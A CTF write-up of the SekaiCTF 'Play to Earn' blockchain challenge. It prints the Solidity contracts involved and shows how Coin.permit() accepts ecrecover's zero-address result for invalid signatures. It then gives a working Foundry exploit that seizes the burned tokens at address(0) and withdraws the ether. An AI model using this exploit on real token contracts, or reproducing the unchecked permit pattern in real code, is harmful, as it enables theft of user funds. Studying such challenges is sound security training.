Hello Friend,

I have managed to solve a blockchain challenge from SekaiCTF with konohagakure team.

I hope you will love this writeup.

Play to Earn

ArcadeMachine.sol

pragma solidity 0.8.25;

import {Coin} from "./Coin.sol";

contract ArcadeMachine {
    Coin coin;

    constructor(Coin _coin) {
        coin = _coin;
    }

    function play(uint256 times) external {
        // burn the coins
        require(coin.transferFrom(msg.sender, address(0), 1 ether * times));
        // Have fun XD
    }
}

ArcadeMachine Observation

  1. The ArcadeMachine contract allows players to play() by burning a specified amount of tokens.
  2. The function accepts a times parameter and requires the player to burn a corresponding amount of coins (1 ether per play).
  3. Coins are sent to the zero address, effectively burning them from circulation.

Setup.sol

pragma solidity 0.8.25;

import {Coin} from "./Coin.sol";
import {ArcadeMachine} from "./ArcadeMachine.sol";

contract Setup {
    Coin public coin;
    ArcadeMachine public arcadeMachine;

    address player;

    constructor() payable {
        coin = new Coin();
        arcadeMachine = new ArcadeMachine(coin);

        // Assume that many people have played before you ;)
        require(msg.value == 20 ether);
        coin.deposit{value: 20 ether}();
        coin.approve(address(arcadeMachine), 19 ether);
        arcadeMachine.play(19);
    }

    function register() external {
        require(player == address(0));
        player = msg.sender;
        coin.transfer(msg.sender, 1337); // free coins for new players :)
    }

    function isSolved() external view returns (bool) {
        return player != address(0) && player.balance >= 13.37 ether;
    }
}

Setup Observation

  1. Initial Setup: The contract deposits 20 ether worth of Coin tokens and allows the ArcadeMachine to burn 19 ether’s worth by calling play(19).
  2. register() As a new player, we can register and receive 1,337 free coins to participate.
  3. To solve the challenge, your balance must be at least 13.37 ether.

Coin.sol

pragma solidity 0.8.25;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";

contract Coin is Ownable, EIP712 {
    string public constant name = "COIN";
    string public constant symbol = "COIN";
    uint8 public constant decimals = 18;
    bytes32 constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    event Approval(address indexed src, address indexed guy, uint256 wad);
    event Transfer(address indexed src, address indexed dst, uint256 wad);
    event Deposit(address indexed dst, uint256 wad);
    event Withdrawal(address indexed src, uint256 wad);
    event PrivilegedWithdrawal(address indexed src, uint256 wad);

    mapping(address => uint256) public nonces;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor() Ownable(msg.sender) EIP712(name, "1") {}

    fallback() external payable {
        deposit();
    }

    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 wad) external {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        payable(msg.sender).transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

    function privilegedWithdraw() external onlyOwner {
        uint256 wad = balanceOf[address(0)];
        balanceOf[address(0)] = 0;
        payable(msg.sender).transfer(wad);
        emit PrivilegedWithdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint256) {
        return address(this).balance;
    }

    function approve(address guy, uint256 wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
        external
    {
        require(block.timestamp <= deadline, "signature expired");
        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
        bytes32 h = _hashTypedDataV4(structHash);
        address signer = ecrecover(h, v, r, s);
        require(signer == owner, "invalid signer");
        allowance[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    function transfer(address dst, uint256 wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint256 wad) public returns (bool) {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);

        return true;
    }
}

Coin Observation

The Coin.sol contract contains a critical vulnerability. Here’s a high-level overview of its functionality:

  1. deposit() and withdraw(): Players can deposit and withdraw ether.
  2. permit(): The contract allows off-chain approvals using signatures, allowing a third party to spend tokens on behalf of the token owner without needing on-chain approval

The permit() function allows token transfers by utilizing a signed message instead of requiring an on-chain transaction. This feature is based on EIP-712 and enables gasless token approvals by signing the data off-chain.

Steps involved

  1. Hashing the Data: The function creates a hash of the permit data, including the owner, spender, amount (value), and other parameters.
  2. Recovering the Signature: The signature is verified using the ecrecover() function, ensuring that the signer is the token owner.
  3. Allowing Spending: If valid, the spender is approved to transfer the specified amount of tokens from the owner’s account.

The vulnerability arises in ecrecover() which return zero address when failed to recover address.

To get address(0) we need to provide ecrecover function with invalid parameters.

AttackScript

pragma solidity 0.8.25;

import {Setup, Coin} from "../src/Setup.sol";
import {Script, console} from "forge-std/Script.sol";

contract AttackScript is Script {
    address player = vm.envAddress("MY_ADDRESS");
    Setup setup = Setup(vm.envAddress("SETUP_ADDRESS"));

    function run() external {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        new Attack(address(setup.coin()));
        setup.register();
        assert(setup.isSolved());
        vm.stopBroadcast();
    }
}

contract Attack {
    constructor(address coinAddress) {
        Coin coin = Coin(payable(coinAddress));

        address owner = address(0);
        address spender = address(this);
        uint256 value = coin.balanceOf(owner);
        uint256 deadline = block.timestamp;
        uint8 v = 0;
        bytes32 r = bytes32(0);
        bytes32 s = bytes32(0);
        coin.permit(owner, spender, value, deadline, v, r, s);

        coin.transferFrom(owner, spender, value);
        coin.withdraw(value);
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {}
}
forge script script/Attack.s.sol:AttackScript --rpc-url $RPC_URL

Attack

  1. Approve tokens from 0 address by providing invalid parameters to ecrecover().
  2. Transfer tokens from 0 address.
  3. Withdraw ether.
  4. Call register().

Flag: SEKAI{0wn3r:wh3r34r3_mY_c01n5:<}

Thanks for reading!


Reference

Ethereum Stack Exchange